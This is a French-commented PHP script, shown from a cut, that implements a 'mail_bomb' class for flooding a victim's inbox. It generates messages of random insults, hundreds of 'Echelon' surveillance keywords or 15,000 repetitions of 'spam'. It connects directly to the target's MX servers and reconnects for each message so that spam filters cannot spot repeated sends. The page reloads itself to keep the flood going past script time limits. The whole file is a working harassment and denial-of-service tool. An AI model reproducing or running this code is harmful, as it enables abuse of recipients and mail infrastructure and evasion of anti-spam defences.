parts = array(); $this->to = ""; $this->from = ""; $this->subject = ""; $this->body = ""; $this->headers = ""; $this->max = ""; $this->mass = ""; $this->content = ""; $this->echelon = ""; } function insults() { // genere une insulte a partir des tableaux définis plus haut global $insults; $b=count($insults); $i=0; while($i<$b) { $temp=$insults[$i]; $k=sizeof($temp); // recupere une valeur pseudo-aleatoire // basee sur le premier nombre dans microtime() $q=microtime(); $q=explode(" ", $q); $q=explode(".", $q[0]); $q=$q[1]/100; $q=substr($q, -1); $q=intval($q/10*$k); // perdre un peu de temps pour eviter les formules // repetitives (il n'y a pas de random) $count=$q/100; while($count-->0) $t=1; // construire la phrase $msg.=" ".$temp[$q]; $i++; } return $msg; } function echelon() { // genere un message en y mettant des // mots echelon au hasard (parametrable plus haut) global $words; $b=count($words); srand(microtime()+time()); $c=intval(rand(1,$b)); $d=0; // nb de mots a inserer $c=300; while ($d++<$c) { $q=microtime(); $q=explode(" ", $q); $q=explode(".", $q[0]); $q=$q[1]/100; $q=substr($q, -1); $q=intval($q/10*$b); $msg.=" ".$words[$q]; } return $msg; } function saturate() { // genere un message avec 15.000 fois // le mot "spam" (~=70ko) while($a++<15000) $msg.="spam "; return $msg; } function add_attachment($message, $name = "", $ctype = "application/octet-stream") { // contruit l'objet mail $this->parts[] = array ( "ctype" => $ctype, "message" => $message, "encode" => $encode, "name" => $name ); } function build_message($part) { // contruit la chaine d'encodage en respect // du rfc 821 $message = $part["message"]; $message = chunk_split(base64_encode($message)); $encoding = "base64"; return "Content-Type: ".$part["ctype"]. ($part["name"]?"; name = \"".$part["name"]."\"" : ""). "\nContent-Transfer-Encoding: $encoding\n\n$message\n"; } function build_multipart() { // contruit le multipart en respect // du rfc 821 $boundary = "----_=_NextPart_000_b".md5(uniqid(time())); $multipart = "Content-Type: multipart/mixed; boundary = $boundary\n\nThis is a MIME encoded message.\n\n--$boundary"; for($i = sizeof($this->parts)-1; $i >= 0; $i--) { $multipart .= "\n".$this->build_message($this->parts[$i])."--$boundary"; } return $multipart.= "--\n"; } function smtp_open($server, $port) { // ouvre une connexion telnet sur un serveur et port donné // et retourne le resultat global $SMTP_GLOBAL_STATUS; $smtp = fsockopen($server, $port); if ($smtp<0) return 0; $line = fgets($smtp, 1024); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line,0,1); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line,0,1024); if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "2") return 0; return $smtp; } function smtp_helo($smtp) { // verifie si le serveur est bien un smtp en envoyant un // commande HELO et en retournant true si connexion etablie global $SMTP_GLOBAL_STATUS; /* 'localhost' always works [Unk] */ fputs($smtp, "helo localhost\r\n"); $line = fgets($smtp, 1024); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024); if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "2") return 0; return 1; } function smtp_mail_from($smtp, $from) { // commence a construire le header du mail // (mail from) global $SMTP_GLOBAL_STATUS; fputs($smtp, "MAIL FROM: <$from>\r\n"); $line = fgets($smtp, 1024); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024); if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "2") return 0; return 1; } function smtp_rcpt_to($smtp, $to) { // header du mail (suite) // (rcpt to) global $SMTP_GLOBAL_STATUS; fputs($smtp, "RCPT TO: <$to>\r\n"); $line = fgets($smtp, 1024); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024); if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "2") return 0; return 1; } function smtp_data($smtp, $subject, $data) { // le message et le header complet sont envoyes // (data) global $SMTP_GLOBAL_STATUS; fputs($smtp, "DATA\r\n"); $line = fgets($smtp, 1024); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024); if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "3") return 0; fputs($smtp, "Subject: $subject\r\n"); fputs($smtp, "MIME-Version: 1.0\r\n"); fputs($smtp, "Content-Type: text/plain;\r\n"); fputs($smtp, " charset=\"iso-8859-1\"\r\n"); fputs($smtp, "Content-Transfer-Encoding: 8bit\r\n"); fputs($smtp, "X-Priority: 3\r\n"); fputs($smtp, "X-MSMail-Priority: Normal\r\n"); fputs($smtp, "X-Mailer: Mailbombeur 0.6\r\n"); fputs($smtp, "X-MimeOLE: Produced By Savate System\r\n\r\n"); fputs($smtp, "$data\r\n\r\n"); fputs($smtp, ".\r\n"); $line = fgets($smtp, 1024); if (substr($line, 0, 1) <> "2") return 0; return 1; } function smtp_quit($smtp) { // deconnexion du serveur // (quit) global $SMTP_GLOBAL_STATUS; fputs($smtp, "QUIT\r\n"); $line = fgets($smtp, 1024); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] = substr($line, 0, 1); $SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULTTXT"] = substr($line, 0, 1024); if ($SMTP_GLOBAL_STATUS[$smtp][ "LASTRESULT"] <> "2") return 0; return 1; } function sendmail($msg) { // la partie difficile : se connecter au MX host le plus // proche du smtp et fermer la connexion a chaque envoi // pour eviter que le robot traque les envois multiples // en se referant a la chaine unique md5 list ($user,$domain) = split ("@",$this->from,2); $arr = explode (".",$domain); $count = count ($arr); $tld = $arr[$count-2].".".$arr[$count-1]; if (checkdnsrr($tld,"MX")) { if(getmxrr($tld,$mxhosts,$weight)) { for ($i=0;$ismtp_open($tempdomain,25); if($this->smtp_helo($smtp)) { if($this->smtp_mail_from($smtp,$this->from)) { if($this->smtp_rcpt_to($smtp,$this->from)) { if($this->smtp_data($smtp, $this->subject, $msg)) { if($this->smtp_quit($smtp)) { return "courrier envoyé"; } else { return "Deconnexion foireuse"; } } else { return "Message refusé"; } } else { return "Destinataire refusé"; } } else { return "Expediteur refusé"; } } else { return "Connexion refusée"; } // end of for loop } } else { return "Problemes de checking MX"; } } else { return "Problem de checking DNS avec le MX host"; } } /* Methodes Publiques */ function refresh() { // rappelle la page en cours en incrementant le compteur // ou en rappelant la page d'accueil si la boucle est finie // (usage batch préféré pour contourner le time_limit) global $PHP_SELF; $content = $this->content; $louzeur = $this->from; $mass = $this->mass; $mass++; $max = $this->max; if($mass!=$max) { echo ""; } else { echo ""; } } function randomize_title() { // retourne un mot pris au hasard dans la liste // echelon (rand est utilisé) global $words; $b=count($words); srand(microtime()+time()); $d=intval(rand(1,$b)); $title=$words[$d]; return $title; } function get_message() { // construit le message avec une des trois methodes // disponibles (a étendre) $content=$this->content; if($content=="echelon") return $this->echelon(); else if($content=="insults") return $this->insults(); else if($content=="file") return $this->saturate(); else return "O"; } function send() { // faire quelques verifs avant d'envoyer le msg $mime = ""; if (!empty($this->from)) $mime .= "From: ".$this->from."\n"; if (!empty($this->headers)) $mime .= $this->headers."\n"; if (!empty($this->body)) $this->add_attachment($this->body, "", "text/plain"); $mime .= "MIME-Version: 1.0\n".$this->headers.$this->body; // envoyer le msg if(ereg("icq", $this->from)) { // icq pager refuse les connexions smtp ... dommage @mail($this->from, $this->subject, $this->insults(),"From: $this->from "); $a=true; } else $a=$this->sendmail($this->body); return $a; // pour debug : echo "
\n".$this->to."\n".$this->subject."\n".$mime."
"; } }; // fin de la classe /*************************************** * UN EXEMPLE D'UTILISATION * ***************************************/ if($mass<$max) { $mail = new mail_bomb; $mail->mass = $mass; $mail->max = $max; $mail->content = $content; $mail->from = $louzeur; $mail->to = $mailto; $message = $mail->get_message(); $mail->body = $message; $title = $mail->randomize_title(); $mail->subject = $title; $mail->headers = "MIME-Version: 1.0 Content-Type: text/plain; charset=\"iso-8859-1\" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Mailbomber 0.6 X-MimeOLE: Produced By Savate System"; $mail_bomb=$mail->send(); if ($mail_bomb) { echo "Log : $mail_bomb
$louzeur
", "$title
", "$message"; $mail->refresh(); } else { echo "Problemes rencontres lors de l'envoi du mail : $mail_bomb"; } } else { echo "
Bomber (ou xxxxxxx@pager.icq.com)
Avec mails chargés avec
"; }